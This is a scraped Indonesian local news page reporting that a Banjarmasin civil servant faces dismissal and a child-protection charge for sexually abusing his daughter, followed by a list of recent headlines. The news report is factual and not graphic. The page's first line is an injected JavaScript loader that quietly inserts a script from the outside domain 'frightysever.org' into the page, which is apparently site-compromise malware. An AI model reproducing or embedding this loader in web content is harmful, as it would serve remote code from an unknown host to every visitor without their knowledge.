(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Cabuli Anak Kandung, ASN Pemko Banjarmasin Terancam Dipecat!


KANALKALIMANTAN.COM, BANJARAMSIN – Kasus asusila yang dilakukan tersangka AS (45)- yang masih berstatus Aparatur Sipil Negara (ASN) Pemko Banjarmasin, menjadi perhatian serius Wali Kota Banjarmasin Ibnu Sina. AS bahkan terancam akan dipecat!

Sebagaimana diketahui, AS tega melakukan perbuatan cabul terhadap putri kandungnya sendiri. Kasus ini pun sedang ditangani oleh polisi.

Wali Kota Ibnu Sina mengatakan, AS nantinya akan dikenakan sanksi kode etik sehabis sidang pidana di Pengadilan Negeri (PN) Banjarmasin.

“Tentu pelaku yang berstatus ASN tersebut nantinya akan kenakan sanksi kode etik, tapi setelah sidang kasusnya di pengadilan,” tegasnya, Selasa (9/2/2021).

Sementara itu, Penjabat Sekretaris Daerah Kota Banjarmasin Mukhyar menyampaikan, AS yang yang bertugas di Kecamatan Banjarmasin Utara tersebut terancam pemecatan secara tidak hormat.

“Jika sudah menyangkut masalah hukum apalagi pidana, maka sanksi tegas pun bakal dilakukan. Yakni pemecatan,” katanya.

Ia mengatakan, AS memang dikenal sebagai ASN bermasalah. “Sebelumnya yang bersangkutan pernah dihukum Majelis Pertimbangan Penjatuhan Hukuman Disiplin Pegawai (MPPHDP) Pemko, Karena melanggar disiplin kepegawaian. Yang bersangkutan kerap tidak masuk kerja,” bebernya.

Jajaran Satreskrim Polresta Banjarmasin sudah melakukan gelar perkara kasus pencabulan tersebut, Senin (8/2/2021) lalu. Polisi juga berencana akan melakukan pemeriksaan kejiwaan kepada AS. Hal ini karena perilaku AS kepada anak kandungnya tersebut telah dilakukan sejak anaknya duduk di bangku Kelas VI SD hingga Kelas VIII SMP.

Dan menurut pengakuannya sendiri, AS mengaku sering menonton film porno, sehingga menyalurkan nafsu bejat ke anak kandungnya sendiri. AS dijerat pasal 81 ayat 4 undang-undang Perlindungan Anak Nomor 35 tahun 2014, dengan ancaman 20 tahun pidana penjara.(Kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

2 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

4 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

4 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

6 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

7 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

9 jam ago

This website uses cookies.